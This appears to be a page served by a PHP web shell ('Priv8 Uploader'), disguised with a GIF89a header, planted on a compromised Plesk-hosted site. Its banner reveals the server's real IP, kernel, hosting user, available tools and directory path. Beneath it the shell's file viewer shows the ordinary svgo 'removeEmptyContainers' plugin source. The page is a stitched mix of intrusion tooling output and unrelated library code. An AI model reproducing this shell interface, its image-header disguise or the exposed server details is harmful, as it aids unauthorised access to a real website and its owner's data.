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GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.217.79 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/svgo/plugins/ |
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import { elemsGroups } from './_collections.js';
import { detachNodeFromParent } from '../lib/xast.js';
import { collectStylesheet, computeStyle } from '../lib/style.js';
import { findReferences } from '../lib/svgo/tools.js';
export const name = 'removeEmptyContainers';
export const description = 'removes empty container elements';
/**
* Remove empty containers.
*
* @see https://www.w3.org/TR/SVG11/intro.html#TermContainerElement
*
* @example
* <defs/>
*
* @example
* <g><marker><a/></marker></g>
*
* @author Kir Belevich
*
* @type {import('../lib/types.js').Plugin}
*/
export const fn = (root) => {
const stylesheet = collectStylesheet(root);
const removedIds = new Set();
/**
* @type {Map<string, {
* node: import('../lib/types.js').XastElement,
* parent: import('../lib/types.js').XastParent,
* }[]>}
*/
const usesById = new Map();
return {
element: {
enter: (node, parentNode) => {
if (node.name === 'use') {
// Record uses so those referencing empty containers can be removed.
for (const [name, value] of Object.entries(node.attributes)) {
const ids = findReferences(name, value);
for (const id of ids) {
let references = usesById.get(id);
if (references === undefined) {
references = [];
usesById.set(id, references);
}
references.push({ node: node, parent: parentNode });
}
}
}
},
exit: (node, parentNode) => {
// remove only empty non-svg containers
if (
node.name === 'svg' ||
!elemsGroups.container.has(node.name) ||
node.children.length !== 0
) {
return;
}
// empty patterns may contain reusable configuration
if (
node.name === 'pattern' &&
Object.keys(node.attributes).length !== 0
) {
return;
}
// empty <mask> hides masked element
if (node.name === 'mask' && node.attributes.id != null) {
return;
}
if (parentNode.type === 'element' && parentNode.name === 'switch') {
return;
}
// The <g> may not have content, but the filter may cause a rectangle
// to be created and filled with pattern.
if (
node.name === 'g' &&
(node.attributes.filter != null ||
computeStyle(stylesheet, node).filter)
) {
return;
}
detachNodeFromParent(node, parentNode);
if (node.attributes.id) {
removedIds.add(node.attributes.id);
}
},
},
root: {
exit: () => {
// Remove any <use> elements that referenced an empty container.
for (const id of removedIds) {
const uses = usesById.get(id);
if (uses) {
for (const use of uses) {
detachNodeFromParent(use.node, use.parent);
}
}
}
},
},
};
};